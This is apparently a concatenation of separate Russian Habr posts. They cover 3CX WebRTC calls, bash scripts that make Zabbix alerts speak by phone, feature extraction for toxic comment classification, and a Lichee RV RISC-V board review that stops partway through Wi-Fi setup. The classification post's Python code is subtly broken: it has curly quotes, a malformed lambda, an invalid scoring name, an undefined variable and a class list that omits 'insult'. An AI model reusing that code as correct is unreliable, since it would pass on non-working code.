**Почему все-таки пропала популярная возможность делать WebRTC вызовы с веб сайта, которая была в V14, и когда она появится снова?** Технология WebRTC (которую разрабатывает Google) может быть внезапно, скажем так, улучшена при очередном обновлении браузера Chrome (в котором она реализована). Для нас это означает, что при обновлении Chrome у пользователей одна из функций системы 3CX внезапно может перестать работать. Для решения проблемы требуются немедленные обновления 3CX. Функциональность 3CX слишком зависит от автообновлений Chrome — это делает работу нашей системы довольно непредсказуемой. Поэтому сейчас мы готовим аналогичное решение на собственной технологии, не зависящей от стороннего ПО. А тем временем вы можете пользоваться WebRTC ссылками на сайте, предлагаемыми модулем 3CX Webmeeting.
[](http://igorsnezhko.files.wordpress.com/2017/05/snaghtml626a57f.png)
При этом вызов с сайта не будет приходить на SIP телефон, однако в клиент 3CX будет поступать запрос на создание индивидуальной веб конференции.
[](http://igorsnezhko.files.wordpress.com/2017/05/image2.png)
Рекомендуем воспользоваться этой возможностью! | https://habr.com/ru/post/328544/ | null | ru | null |
# Оповещения из Zabbix телефонным звонком
Всем привет.
Я давно использую zabbix и давно читаю хабр.
Мысль научить заббикс разговаривать голосом посещала меня давно, и даже делал систему которая чудным голосом сообщала ночным саппортам что случилось.
Сегодня я прочитал пост [mxx](http://habrahabr.ru/users/mxx/) про [nagios`ом по телефону](http://habrahabr.ru/blogs/sysadm/126892/) и меня срочно настигла мысль привинтить это к моей системе.
Через два с половиной часа все заработало, а поскольку в комментах к оригинальному посту просили такое решение, то я его тут опубликую.
Итак:
Шаг №1 — Пререквизиты. Ставим festival и pjsip
```
sudo aptitude install festival
```
pjsip (см. пост [mxx](http://habrahabr.ru/users/mxx/))
Шаг №2 — Конфиг zabbix\_server
```
zabbix@zabbix-new:~$ grep AlertScript /etc/zabbix/zabbix_server.conf
### Option: AlertScriptsPath
AlertScriptsPath=/home/zabbix/bin/
```
Шаг №3 — скрипты заббикса
```
zabbix@zabbix-new:~$ cat /home/zabbix/bin/sipalarm
#!/bin/bash
HOME=/home/zabbix
SPOOL=$HOME/spool
STAMP=`date +%s`
add_to_spool () {
text2wave <(echo $2) > $SPOOL/$STAMP$1.wav
}
add_to_spool "$1" "$2"
$HOME/bin/sipnd &
```
```
zabbix@zabbix-new:~$ cat /home/zabbix/bin/sipnd
#!/bin/bash
HOME=/home/zabbix
SPOOL=$HOME/spool
die () {
echo "$1"
exit 0
}
check_lock () {
test -e $HOME/sipnd.lock && die "already running"
}
get_lock () {
echo $$ > $HOME/sipnd.lock
}
drop_lock () {
rm $HOME/sipnd.lock
}
check_lock; get_lock
for i in $SPOOL/*.wav; do
TMP=${i##*+}
PHONE=+${TMP%%.wav}
echo "DEBUG: pjsua --config-file=/etc/pjsua.cfg --play-file=$i sip:$PHONE@sipnet.ru --auto-play"
( sleep 60 && echo q ) | pjsua --config-file=/etc/pjsua.cfg --play-file=$i sip:$PHONE@sipnet.ru --auto-play
wait
rm $i
done
drop_lock
```
Шаг №4 — Настройка оповещений
Сначала добавить новое средство оповещения
Потом дать какому то пользователю адрес (в нашем случае номер мобильника)
И в настройках Action прописать доставку оповещения этому пользователю свежеопределенным средством.
Внимание:
\* — знак + в номере важен
\* — zabbix будет проговаривать только заголовок триггера (соответственно заголовок должен быть содержательным).
\* — в настройках pjsua выставить адекватный параметр duration (чтобы успеть 2-3 раза послушать сообщение).
\* — алармы собираются в пул и потом доставляются по одному (1-2 минуты на 1 аларм, при рассылке на 10 человек последний будет получать звонок сильно с опозданием).
\* — используйте зависимости триггеров — иначе задолбает звонить.
\* — только английский, русский привинтить можно, но я не хочу.
\* — на написание топика ушло больше времени чем на всю систему, если что не заметил добро пожаловать в комментарии. | https://habr.com/ru/post/126963/ | null | ru | null |
# Использование текстовых и извлеченных числовых признаков в задаче классификации комментариев
### Как выглядят данные?
Во-первых, посмотрим на имеющиеся тестовые и тренировочные данные (данные соревнования «Toxic comment classification challenge» на платформе kaggle.com). В тренировочных данных, в отличии от тестовых, имеются метки для классификации:
*Рисунок 1 — Train data head*
Из таблицы видно, что мы имеем в тренировочных данных 6 столбцов-меток («toxic», «severe\_toxic», «obscene», «threat», «insult», «identity\_hate»), где значение «1» свидетельствует о принадлежности комментария к классу, также присутствует столбец «comment\_text», содержащий комментарий и столбец «id» – идентификатор комментария.
Тестовые данные не содержат меток классов, так как используются для отправки решения:
*Рисунок 2 — Test data head*
### Извлечение признаков
Следующий этап – извлечение признаков из комментариев и проведение исследовательского анализа данных (EDA). Во-первых, посмотрим распределение типов комментариев в тренировочном наборе данных. Для этого был создан новый столбец «toxic\_type», содержащий все классы, к которым относился комментарий:
*Рисунок 3 — Топ-10 типов токсичных комментариев*
Из таблицы видно, преобладающий тип – отсутствие каких-либо меток класса, и многие комментарии принадлежат больше чем к одному классу.
Также посмотрим, как распределено количество типов для каждого комментария:
*Рисунок 4 — Количество встречающихся типов*
Заметим, что преобладает ситуация, когда комментарий характеризуется только одним типом токсичности, также достаточно часто комментарий характеризуется тремя типами токсичности и реже всего комментарий относят ко всем типам.
Теперь перейдём к этапу извлечения признаков из текста, который часто называют features extraction. Я извлекла следующие признаки:
Длина комментария. Я предполагаю, что гневные комментарии скорее всего будут короткими;
Верхний регистр. В агрессивно-эмоциональных комментариях возможно в словах будет чаще встречаться верхний регистр;
Смайлики. При написании токсичного комментария вряд ли будут использоваться позитивно окрашенные смайлики ( :), и т.д.), так же рассмотрим наличие грустных смайликов ( :(, и т.д.);
Пунктуация. Вероятно, авторы негативных комментариев не придерживаются правил пунктуации, в большей степени они используют «!»;
Количество сторонних символов. Некоторые люди при написании оскорбительных слов часто используют символы @, $ и т.д.
Добавление признаков осуществляется следующим образом:
```
train_data[‘total_length’] = train_data[‘comment_text’].apply(len)
train_data[‘uppercase’] = train_data[‘comment_text’].apply(lambda comment: sum(1 for c in comment if c.isupper()))
train_data[‘exclamation_punction’] = train_data[‘comment_text’].apply(lambda comment: comment.count(‘!’))
train_data[‘num_punctuation’] = train_data[‘comment_text’].apply(lambda comment: comment.count(w) for w in ‘.,;:?’))
train_data[‘num_symbols’] = train_data[‘comment_text’].apply(lambda comment: sum(comment.count(w) for w in ‘*&$%’))
train_data[‘num_words’] = train_data[‘comment_text’].apply(lambda comment: len(comment.split()))
train_data[‘num_happy_smilies’] = train_data[‘comment_text’].apply(lambda comment: sum(comment.count(w) for w in (‘:-)’, ‘:)’, ‘;)’, ‘;-)’)))
train_data[‘num_sad_smilies’] = train_data[‘comment_text’].apply(lambda comment: sum(comment.count(w) for w in (‘:-(’, ‘:(’, ‘;(’, ‘;-(’)))
```
### Исследовательский анализ данных
Теперь исследуем данные с использованием только что полученных признаков. В первую очередь, посмотрим корреляцию признаков между собой, корреляцию между признаками и метками классов, корреляцию между метками классов:
*Рисунок 5 — Корреляция*
Корреляция говорит о наличии линейной зависимости между признаками. Чем ближе значение корреляции по модулю к 1, тем ярче выражена линейная зависимость между элементами.
Например, можно увидеть, что количество слов и длина текста сильно коррелированы между собой (значение 0.99), значит, какой-то признак из них можно убрать, я убрала количество слов. Также мы можем сделать еще несколько выводов: корреляция практически отсутствует между выделенными признаками и метками классов, самый мало коррелируемый признак – количество символов, а длина текста коррелирует с количеством символов пунктуации и количеством символов, приведённых к верхнему регистру.
Далее, построим несколько визуализаций для более детального понимания влияния признаков на метку класса. Для начала посмотрим, как распределены длины комментариев:
*Рисунок 6 — Распределение длин комментариев (график интерактивный, но тут скриншот)*
Как и предполагалось, для комментариев, которые были не отнесены к какому-либо классу (т.е. являются нормальными), длина намного больше, чем для помеченных комментариях. Из негативных комментариев самыми короткими являются угрозы (threat), а самыми длинными – токсичные (toxic).
Теперь исследуем комментарии с точки зрения пунктуации. Будем строить графические представления для средних значений, чтобы графики получились более интерпретируемыми:
*Рисунок 7 — Средние значения пунктуации (график интерактивный, но тут скриншот)*
Из рисунка видно, что мы получили три кластера.
Первый – нормальные комментарии, для них характерно соблюдение пунктуационных правил (расстановка знаков препинания, «:», например) и небольшое количество восклицательных знаков.
Второй состоит из угроз (threat) и очень токсичных комментариев (severe toxic), для такой группы характерно обильное использование восклицательных знаков и на среднем уровне используются иные знаки пунктуации.
Третий кластер – токсичные (toxic), непристойные (obscene), оскорбления (insult) и ненавистные по отношению к некоторой личности (identity hate) имеют небольшое количество как пунктуационных знаков, так и восклицательных.
Добавим третью ось для большей наглядности – верхний регистр:
*Рисунок 8 -Трёхмерное изображение (интерактивное, но тут скриншот)*
Здесь видим аналогичную ситуацию – выделяется три кластера. Также отметим, что расстояние между элементами второго кластера больше, чем расстояние между элементами третьего кластера. Это можно увидеть и на двумерном графике:
*Рисунок 9 — Верхний регистр и пунктуация (интерактивное, здесь скриншот)*
Теперь рассмотрим на типы комментариев в разрезе верхнего регистра/количества сторонних символов:
*Рисунок 10 — Верхний регистр и количество сторонних символов (интерактивное, здесь скриншот)*
Как видно, явно выделяются очень токсичные комментарии – они имеют большое количество символов в верхнем регистре и много сторонних символов. Также сторонние символы активно используют авторы ненавистных по отношению к некоторой личности комментариев.
Таким образом, выделение новых признаков и их визуализация позволяет интерпретировать имеющиеся данные лучше и выше построенные визуализации можно резюмировать следующим образом:
Очень токсичные комментарии отделены от остальных;
Нормальные комментарии также стоят особняком;
Токсичные, непристойные и носящие оскорбительный характер комментарии очень близки друг к другу в разрезе рассмотренных характеристик.
Использование DataFrameMapper для объединения текстовых и числовых признаков
Теперь рассмотрим, как можно использовать вместе текстовые и числовые признаки в Logistic regression.
Во-первых, нужно выбрать модель для репрезентации текста в подходящей для алгоритмов машинного обучения форме. Я использовала tf-idf модель, так как она способна выделить специфичные слова и сделать менее значимыми частые слова (например, предлоги):
```
tvec = TfidfVectorizer(
sublinear_tf=True,
strip_accents=’unicode’,
analyzer=’word’,
token_pattern=r’\w{1,}’,
stop_words=’english’,
ngram_range=(1, 1),
max_features=10000
)
```
Итак, если мы хотим работать с предоставляемыми библиотекой Pandas dataframe и алгоритмами машинного обучения библиотеки Sklearn, можно использовать модуль Sklearn-pandas, служащий неким связующим между данными в формате dataframe и Sklearn-методами.
```
mapper = DataFrameMapper([
([‘uppercase’], StandardScaler()),
([‘exclamation_punctuation’], StandardScaler()),
([‘num_punctuation’], StandardScaler()),
([‘num_symbols’], StandardScaler()),
([‘num_happy_smilies’], StandardScaler()),
([‘num_sad_smilies’], StandardScaler()),
([‘total_length’], StandardScaler())
], df_out=True)
```
Сначала нужно создать DataFrameMapper как показано выше, он должен содержать названия столбцов, имеющих numeric features. Далее создаём матрицу признаков, которую далее будем передавать в Logistic regression для обучения:
```
x_train = np.round(mapper.fit_transform(numeric_features_train.copy()), 2).values
x_train_features = sparse.hstack((csr_matrix(x_train), train_texts))
```
Аналогичная последовательность действий производится также над набором данных для тестирования.
### Вычислительный эксперимент
Для проведения multi-label classification построим цикл, который будет проходиться по всем категориям и оценивать качество классификации кросс-валидацией с параметрами cv=3 и scoring=’roc\_auc’:
```
scores = []
class_names = [‘toxic’, ‘severe_toxic’, ‘obscene’, ‘threat’, ‘identity_hate’]
for class_name in class_names:
train_target = train_data[class_name]
classifier = LogisticRegression(C=0.1, solver= ‘sag’)
cv_score = np.mean(cross_val_score(classifier, x_train_features, train_target, cv=3, scoring= ‘auc_roc’))
scores.append(cv_score)
print(‘CV score for class {} is {}’.format(class_name, cv_score))
classifier.fit(train_features, train_target)
print(‘Total CV score is {}’.format(np.mean(scores)))Результат работы:
*Рисунок 11 — Результат работы*
Лучше всего классификатор справился с непристойными комментариями, также неплохие результаты были получены для токсичных, оскорбительных комментариев, которые, как мы видели при проведении исследовательского анализа, часто встречались вместе. Скорее всего, это можно обосновать тем, что в непристойных комментариях есть специфичные слова, которые хорошо их отделяют от остальных. Хорошее значение на кросс-валидации комментариев, отнесенных к “toxic”, возможно, обусловлено тем, что эта категория является самой популярной (согласно рисунку 3). Также классификатор хорошо справился с определением очень токсичных комментариев, вероятно, потому что этот тип явно выражен по отношению к остальным, о чём говорилось при проведении исследовательского анализа данных.
``` | https://habr.com/ru/post/528530/ | null | ru | null |
# Присматриваемся к одноплатникам на RISC-V, обзор модуля Sipeed Lichee RV на процессоре Allwinner D1
Одноплатные компьютеры на RISC-V процессоре сравнительно новое веяние. Поднебесная активно работает над снижением зависимости от западных информационных систем и технологий, именно поэтому новая открытая архитектура RISC-V одна из ключевых ставок Китая. Для продвижения в массы китайский чипмейкер Allwinner на базе ядра Alibaba/T-Head Xuantie C906 RISC-V разработал процессор Allwinner D1 и упрощенную модификацию Allwinner D1s. На сегодня разработано несколько одноплатников на RISC-V процессоре, и в первенство по массовости вырвалась компания Sipeed с модульным компьютером Система-на-Модуле Lichee RV с 512 Мб ОЗУ всего за $16.90, работающим на Linux. Разработчик может спроектировать несущую плату для данного модуля, добавив необходимые периферийные устройства и разъемы. В результате получится решение максимально подготовленное для себя. Данный модуль предназначен для создания интеллектуальных информационных систем, терминалов, роботов, и т.д. В первой части рассмотрим архитектуру процессора, возможности модуля, дистрибутивы, программное обеспечение. Во второй части детально рассмотрим порты и интерфейсы для программирования, напишем программы на Python и C#.
Архитектура RISC-V
==================
[](https://habrastorage.org/webt/kc/kr/gz/kckrgzyhza6w1dbiqou8gaxezja.jpeg)
Архитектура [RISC-V](https://riscv.org) предоставляет открытую и гибкую систему машинных инструкций, позволяющую создавать микропроцессоры для различных задач, не ограничивает сферы использования (включая военную промышленность), и при этом не требует отчислений (royalties). RISC-V позволяет создавать полностью открытые SoC и процессоры. В настоящее время на базе спецификаций RISC-V компании и сообщества под свободными лицензиями (BSD, MIT, Apache 2.0) разрабатывают несколько десятков вариантов микропроцессорных ядер, SoC. Архитектура RISC-V поддерживается GNU/Linux (присутствует начиная с Glibc 2.27, binutils 2.30, gcc 7 и ядра Linux 4.15), FreeBSD и OpenBSD, многие пакеты доступные для архитектуры x86 и ARM уже перекомпилировы под новую архитектуру RISC-V.
Разработкой связанной с RISC-V занимаются различные [китайские компании](https://riscv.org/members/). Среди них выделяется компания Alibaba/T-Head предоставив миру, в открытый доступ ядра [C906](https://github.com/T-head-Semi/openc906) и [C910](https://github.com/T-head-Semi/openc910). На базе этих ядер можно самостоятельно разработать свой процессор (SoC) и начать массовое производство. Открытый доступ к документации ядра процессора облегчает разработку программного обеспечения и портирование необходимых драйверов.
Схемы, описания аппаратных блоков на языке Verilog, симулятор и сопутствующая проектная документация опубликованы на GitHub под лицензией Apache 2.0. Отдельно опубликованы адаптированные для работы с чипами XuanTie версии компиляторов GCC и LLVM, библиотека Glibc, инструменты Binutils, загрузчик U-Boot, ядро Linux, middleware с интерфейсом OpenSBI (RISC-машины-V Supervisor Binary Interface), платформа для создания встраиваемых систем на базе Linux Yocto Project, а также патчи для запуска [Android](https://github.com/T-head-Semi/riscv-aosp). Ядра [OpenE902, OpenE906, OpenC906 и OpenC910](https://github.com/T-head-Semi/), доступны на GitHub под лицензией Apache 2.0.
Чип XuanTie C910 наиболее мощный из доступных на сегодняшний момент, выпускается по 12-нм техпроцессу в 16-ядерном варианте с тактовой частотой 2,5 ГГц. Производительность чипа в тесте Coremark достигает 7,1 Coremark/МГц, что превосходит процессоры ARM Cortex-A73. Всего Alibaba разработала 11 различных чипов RISC-V, из которых уже выпущено более 2,5 млрд экземпляров, и компания работает над созданием экосистемы для дальнейшего продвижения архитектуры RISC-V не только для IoT-устройств, но и для других типов вычислительных систем.
Процессор Allwinner D1 на RISC-V архитектуре
============================================
Ядро XuanTie C906 предназначено для высокоэнергоэффективных систем, для которых не требуется высокая производительность. Alibaba обещает дополнительную поддержку, включая предоставление SDK без каких либо финансовых отчислений.
Однако те, кто заинтересован в разработке SoC на базе данных ядер, должны помнить, что они были созданы до ратификации некоторых стандартов RISC-V, в частности, векторных расширений. В результате разработанные ядра технически не полностью соответствуют текущей спецификации RISC-V и разработчики ядра Linux уже высказывали опасения по поводу того, как C906, будет поддерживаться в основной ветке Linux ядра. Идет речь о соответствие ядра XuanTie C906 спецификации векторных расширений (RISC-V Vector Extension) версии v0.7.1 от 2019 г., в то время как [ратифицирован](https://github.com/riscv/riscv-v-spec/releases) окончательный вариант версии 1.0 от 20 сентября 2021.
[](https://habrastorage.org/webt/ud/60/vs/ud60vsqzrvirla9it0u49lal97a.png)
*Возможности процессора Allwinner D1 на ядре XuanTie C906*
Процессор [Allwinner D1](https://github.com/devdotnetorg/Allwinner-SoC/tree/master/Allwinner%20D1%20RISC-V) основан на ядре Alibaba/T-Head XuanTie C906 64-bit RISC-V ISA, работает на частоте 1 ГГц, содержит 5-ступенчатый конвейер, кеш 64KB для инструкций и данных, контроллер прерываний и 128-bit шину AXI 4.0. Максимально поддерживаемый объем ОЗУ составляет 2 Гб DDR3. Компания Allwinner добавила в процессор DSP HiFi4, ускоритель G2D для 2D графики и декодирования видео. Это позволяет выводить видео H.265/H.264 с качеством 1080p@60fps (или 4K@30fps), и кодировать JPEG/MJPEG (CSI/CVBS) до 1080p@60fps. Как и другие SoC RISC-V на сегодняшний день, в нем отсутствует 3D-графический процессор (GPU). Для видео вывода доступны интерфейсы: RGB LCD до 1080p@60fps, LVDS до 1080p@60fps, 4-lane MIPI DSI до 1080p@60fps, HDMI V1.4 до 4K@30fps, CVBS OUT с поддержкой NTSC и PAL. Техпроцесс изготовления составляет 22 нм.
[](https://habrastorage.org/webt/xn/bq/9w/xnbq9wagkar29d51fpgwx2tq4iq.png)
*Структурная схема процессора Allwinner D1*
Модуль Sipeed Lichee RV
=======================
Форм-фактор платы Sipeed Lichee RV это модуль SoM (System-on-Module) с двойным разъемом M.2. На плате размещена память 512 МБ DDR3, порт USB-C OTG, слот для карт MicroSD и разъем для подключения SPI дисплея. На разъем M.2 выведены интерфейсы HDMI, MIPI-DSI, RGB/MCU display, RGMII, audio, SDIO, GPIO, и другие. Размер платы составляет 46,2 x 25 мм (1,8" x 1") питается от источника питания в 5V, потребление составляет 500 мА.
[](https://habrastorage.org/webt/9u/x_/w-/9ux_w-tsexu_tthx5mjt89w3sgi.jpeg)
*Детальное рассмотрение Lichee RV*
[](https://habrastorage.org/webt/-t/b3/3z/-tb33z6vxlky0b9hf-tvnhc12g0.jpeg)
*Вид сверху и снизу платы Lichee RV*
**Спецификация Sipeed Lichee RV:**
 **Процессор:** SoC – [Allwinner D1](https://github.com/devdotnetorg/Allwinner-SoC/tree/master/Allwinner%20D1%20RISC-V) single-core XuanTie C906 64-bit RISC-V processor @ 1.0 GHz with HiFi4 DSP, G2D 2D graphics accelerators.
 **Оперативная память:** 512MB DDR3 memory @ 792 MHz.
** Пользовательская память:** слот для MicroSD карт.
 **Видео:** опционально дисплей диагональю 1.14 дюйма на SPI интерфейсе.
 **GPU:** поддержка только ускорения 2D, пост-обработка Allwinner SmartColor 2.0, поддержка деинтерлейсинга, аппаратный ускоритель G2D.
 **USB:** порт USB Type-C OTG.
 **Отладка(Debugging):** 4-pin UART разъем для Serial Console, USB ADB debugging.
 **Разное:** индикатор подачи питания, FEL кнопка.
 **GPIO и программируемые интерфейсы:** разъем 2x M.2 B-key edge для контактов ввода/вывода интерфейсов: HDMI, MIPI DSI, RGB, Ethernet, Audio, SDIO, GPIO и т.д.
 **Питание:** 5V/0.5A через порт USB-C.
 **Размер:** 43.2 x 25 мм.
Возле разъема USB-C располагается интерфейс UART предназначенный для отладки запуска операционной системы, по умолчанию контакты не припаяны.
Продается [по цене $16.90](https://aliexpress.ru/item/1005003594875290.html), что существенно дешевле аналогичной платы [Nezha SBC](https://www.cnx-software.com/2021/05/20/nezha-risc-v-linux-sbc/). Доступно два варианта платы, только модуль Lichee RV D1 (вариант **licheeRV D1**) и с 1.14 дюймовым дисплеем на SPI интерфейсе (вариант **licheeRV D1 Suit**).
[](https://habrastorage.org/webt/2d/5h/vi/2d5hvi53cyhejpk5g9w3_7_utms.jpeg)
*Sipeed Lichee RV с дисплеем на SPI интерфейсе aka «Sipeed LicheeRV Suit»*
Дополнительный дисплей 1.14" 135×240 SPI LCD работает на контроллере Sitronix ST7789V ([Datasheets](https://www.crystalfontz.com/controllers/Sitronix/ST7789V/)). Драйвер включен в основную ветку ядра Linux, раздел FBTFT для использования RGB порта. Так же существует версия драйвера [TinyDRM](https://github.com/notro/tinydrm/wiki/fbtft).
Терминал Lichee RV 86 Panel на базе Lichee RV
=============================================
[](https://habrastorage.org/webt/vq/c8/hd/vqc8hddvau_dpjpgovojzk7rh_0.jpeg)
*Lichee RV 86 Panel*
Для разработчиков информационных систем компания Sipeed разработала Starter kit терминал [Lichee RV 86 Panel](https://www.aliexpress.com/item/1005003684310743.html) предназначенный для систем управления, например для умного дома. Терминал оборудован 4-дюймовым IPS Touch LCD экраном, двумя MEMS микрофонами и небольшим динамиком, Ethernet RJ45 разъемом, 2.4G Wi-Fi + BT модулем, 2x8 pin GPIO 2.54 мм. Корпус сделан из SLA пластика на 3D-принтере. Поддерживается [WAFT](https://www.gushiciku.cn/pl/g3t8/zh-tw) ([WebAssembly](https://webassembly.org/) Framework для вещей).
[](https://habrastorage.org/webt/zm/qk/dv/zmqkdvgzk4hrp00mlrzzz-w37ic.png)
*Основные элементы и разъемы несущей платы для Lichee RV 86 Panel*
**Видео о Lichee RV 86 Panel:**
Несущая плата Lichee RV Dock для Sipeed Lichee RV
=================================================
Форм-фактор платы Lichee RV подразумевает подключение к несущей плате с разводкой периферийных устройств и линий электропитания. В конце прошлого года Sipeed выпустила несущую Dock-плату с разводкой контактов GPIO шагом 2.54 мм, разъемом HDMI и USB, опционально устанавливается модуль Wi-Fi.
При небольших размерах 65 x 40 мм (2.56″ x 1.57″) несущая плата **Lichee RV Dock** включает в себя модуль [Realtek RTL8723DS](https://www.realtek.com/en/products/communications-network-ics/item/rtl8723ds) беспроводной связи Wi-Fi 4 (802.11b/g/n) и Bluetooth 4.2, порт HDMI с поддержкой вывода 4K@30fps, порт USB Type-A, 40-контактный разъем GPIO частично совместимый с аналогичным разъемом на Raspberry Pi 3, и различные разъемы включая возможность подключения динамиков. Присутствует RGB светодиод и кнопка сброса (reset).
**Спецификация платы Lichee RV Dock:**
 **Система на модуле (System on Module или SOM):** модуль [Lichee RV](https://devdotnet.org/post/sbc-sipeed-licheerv-na-allwinner-d1-risc-v/) на базе RISC-V процессора Allwinner D1@1 GHz, 512MB DDR3.
** Пользовательская память:** опционально SPI память**.**
 **Видео:** HDMI порт с поддержкой видео до 4K@30fps, опционально RGB интерфейс с поддержкой видео до 720p@30fps через модуль «Display Shell», опционально MIPI DSI интерфейс с поддержкой видео до 1080p@60fps через модуль «Display Shell».
 **Связь:** опционально беспроводной модуль Realtek RTL8723DS с поддержкой Wi-Fi 4 (802.11b/g/n) и Bluetooth 4.2. На плате размещена встроенная SMT антенна и разъем IPEX для подключения внешней антенны.
 **Звук:** 3 Вт усилитель вывода на динамики, 1x аналоговый электретный микрофон, поддержка микрофонного массива Mic Array R6 (включает шесть микрофонов) через плату расширения, подключается на разъем 30P FPC.
 **USB:** порт USB Type-A, дополнительно еще один порт USB-C OTG на самом модуле Lichee RV.
 **Разное:** светодиод RGB на микросхеме WS2812, кнопка сброса (reset key), пользовательская кнопка (user key, ADC).
 **Expansions Header:** разъем 40-pins с шагом 2,54 мм частично совместимый с Raspberry Pi включая GPIOs, I2C/TWI, SPI, UART, PWM.
 **Размер:** 65 x 40 мм.
После установки основного модуля Lichee RV в Lichee RV Dock, плата очень походит на Raspberry Pi Zero.
[](https://habrastorage.org/webt/hm/bb/d-/hmbbd-ljzrmxdieuspc6h7rzpes.jpeg)
*Sipeed Lichee RV Dock с подключенной платой Lichee RV*
[](https://habrastorage.org/webt/t7/on/im/t7onimkfyp_bbexc148odho7owe.jpeg)
*Sipeed Lichee RV Dock без платы Lichee RV*
[](https://habrastorage.org/webt/8s/41/fd/8s41fdx-fs5xuqczqcbugdfphyg.jpeg)
*Размещение основных модулей и разъемов на плате*
[](https://habrastorage.org/webt/_o/kg/ab/_okgablmohqpzt3yd4xcgi_kmdc.jpeg)
*Модуль беспроводной связи Realtek RTL8723DS*
[](https://habrastorage.org/webt/nw/0g/ig/nw0gig0mbbbp_lzypysvtsqejdi.jpeg)
*Sipeed Lichee RV Dock, вид снизу*
В официальном магазине [Sipeed](https://sipeed.aliexpress.com/store/911876460) доступно несколько вариантов приобретения платы. Можно купить плату Dock вместе с основным модулем Lichee RV и без него. Если желаете выбрать другой Wi-Fi модуль, то доступен вариант платы Dock без напаянного модуля Realtek RTL8723DS. Доставка в РФ осуществляется службой Hongkong Post. Для надежности продавец упаковывает товар в твердую картонную коробку. Для более простой работы рекомендуется приобретать Dock с модулем Wi-Fi в связи с возможностью сразу из коробки подключить плату к сети Интернет для установки и обновления ПО.
**Видео о Sipeed Lichee RV Dock:**
Распиновка
==========
Разъем GPIO на 40-pins с шагом 2,54 мм частично совместим с аналогичным разъемом Raspberry Pi, так же присутствую линии питания на 3.3V и 5V, но некоторые выводы GND не соответствуют выводам на Raspberry Pi.
Выведены интерфейсы: 1x TWI, 1x SPI, 6x PWM, 4x UART, MIPI DSI, RGB, LVDS.
Для отладки используется интерфейс UART0, контакты **PB8 — UART0\_TX** и **PB9 — UART0\_RX**.
[](https://habrastorage.org/webt/4i/zb/2h/4izb2hbrkwcltugtwbpatoqk3w4.png)
*Распиновка Lichee RV Dock*
Дополнительные модули
=====================
На плате Lichee RV Dock специально выведен разъем 30P FPC для подключения массива микрофонов **Mic Array R6**. Данный модуль предназначен для создания интеллектуальных голосовых систем.
[](https://habrastorage.org/webt/xf/ur/hu/xfurhue19nbsdclklcn_vy606o8.jpeg)
*Mic Array R6*
Плата **Display Shell** подключается к Lichee RV Dock на 40-pins разъем GPIO. Предоставляет разводку FPC разъемов для подключения LCD панелей по RGB и MIPI DSI включая сенсорные. На субъективный взгляд бесполезная вещь т.к. разводку под конкретную LCD панель придется делать самостоятельно.
[](https://habrastorage.org/webt/lv/xn/at/lvxnat78xdxl7bdbzp17xgosjqo.jpeg)
*Плата Display Shell для Lichee RV Dock*
Операционные системы
====================
Из операционных систем поддерживаются:
* [Tina Linux](https://d1.docs.aw-ol.com/en/study/study_1tina/) на базе OpenWrt;
* Debian Desktop;
* Linux с поддержкой среды Alibaba [WAFT](https://www.gushiciku.cn/pl/g3t8/zh-tw) (WAFT — это Framework для AIOT, созданный компанией Alibaba на основе [WebAssembly](https://webassembly.org/) и собственного механизма рендеринга).
Часть образов опубликовано на сайте разработчика [Sipeed /LICHEE/D1/Lichee\_RV/SDK/image](https://dl.sipeed.com/shareURL/LICHEE/D1/Lichee_RV/SDK/image), другая на [Mega.nz](https://mega.nz/folder/lx4CyZBA#PiFhY7oSVQ3gp2ZZ_AnwYA).
Все дальнейшие работы выполнялись на образе **20211230\_LicheeRV\_debian\_d1\_hdmi\_8723ds.7z** (1,07 ГБ). Данный образ построен на Debian и предназначен для использования вместе с Lichee RV Dock, поддерживается вывод видео по HDMI и Wi-Fi чип 8723ds.
Для загрузки прошивки на microSD карту (минимальный размер 16 Гб) необходимо использовать специализированную программу [PhoenixCard](https://dl.sipeed.com/shareURL/LICHEE/D1/Lichee_RV/tool), интерфейс который выполнен на китайском языке. Если в вашей версии Windows не добавлен китайский язык, то скорее всего кнопки и метки будут без надписей. Но на самом деле это не проблема, все предельно просто, вот [документация на китайском языке](https://github.com/devdotnetorg/Lichee-RV/blob/master/Lichee_RV/tool/PhoenixCard.pdf).
[](https://habrastorage.org/webt/ke/k7/ga/kek7gaon8uutweedw3sttwtqpxm.jpeg)
*Программа записи прошивки PhoenixCard*
Первое, выбираем распакованный образ в формате \*.img. Второе, выбираем второй пункт меню. Третье, нажимаем на первую кнопку из трех доступных и ждем 15 минут в не зависимости от размера исходного образа.
Подключение по UART
===================
Если для взаимодействия с системой у вас нет возможности подключить экран по HDMI интерфейсу, то используя простой USB-TTL UART конвертер можно решить эту задачу. Для этого необходимо подключить контакты RX, TX, GND конвертера к соответствующим контактам Dock платы. Для примера, подключим конвертер на базе чипа [CH340G](https://www.aliexpress.com/item/32831329095.html).
[](https://habrastorage.org/webt/_n/sj/6z/_nsj6zvy-89mprnuamlx7dklk7g.png)
*Схема подключения USB-TTL UART конвертера*
Для подключения удобно использовать терминал [MobaXterm](https://mobaxterm.mobatek.net/download.html). Выберем появившийся COM порт в операционной системе, выставим скорость 115200 bps, и в терминале появится загрузочный экран:
[](https://habrastorage.org/webt/9x/h7/jo/9xh7joijxav7m85gs8mb7sav6hy.png)
*Загрузочный экран Lichee RV*
Debian. Настройка Wi-Fi и оборудование
======================================
После подачи питания по умолчанию загрузится графическая оболочка [LXDE](https://wiki.lxde.org/en/Main_Page). Для авторизации необходимо указать: логин — sipeed или root, пароль — licheepi. Для удаленного доступа по SSH и UART входите в систему под именем sipeed. Выполним команды *uname -a* и *lsb\_release -a*.
Результат выполнения:
```
root@sipeed:~# uname -a
Linux sipeed 5.4.61 #217 PREEMPT Thu Dec 30 06:50:31 UTC 2021 riscv64 GNU/Linux
root@sipeed:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 11 (bullseye)
Release: 11
Codename: bullseye
```
Образ построен на **Debian 11 (bullseye), ядро Linux 5.4.61**.
[](https://habrastorage.org/webt/hd/gv/pg/hdgvpgikcief0qudhedtcz1o-ay.png)
*Запуск утилиты neofetch*
Первым делом подключимся к сети Интернет, для этого включим Wi-Fi сеть, кнопка **«Пуск» > Preferences > Connman Settings**. Включаем модуль Wi-Fi и подключаемся к беспроводной сети.
[](https://habrastorage.org/webt/0k/tq/iq/0ktqiqacmdsoyq97dmismfoqegg.jpeg)
*Вызов менеджера подключения Wi-Fi в Debian*
Выберем беспроводную сеть Wi-Fi и подключимся к ней.
[](https://habrastorage.org/webt/uk/4b/z4/uk4bz4lqaggfinhdgzxym8sx5me.jpeg)
*Подключение к Wi-Fi сети*
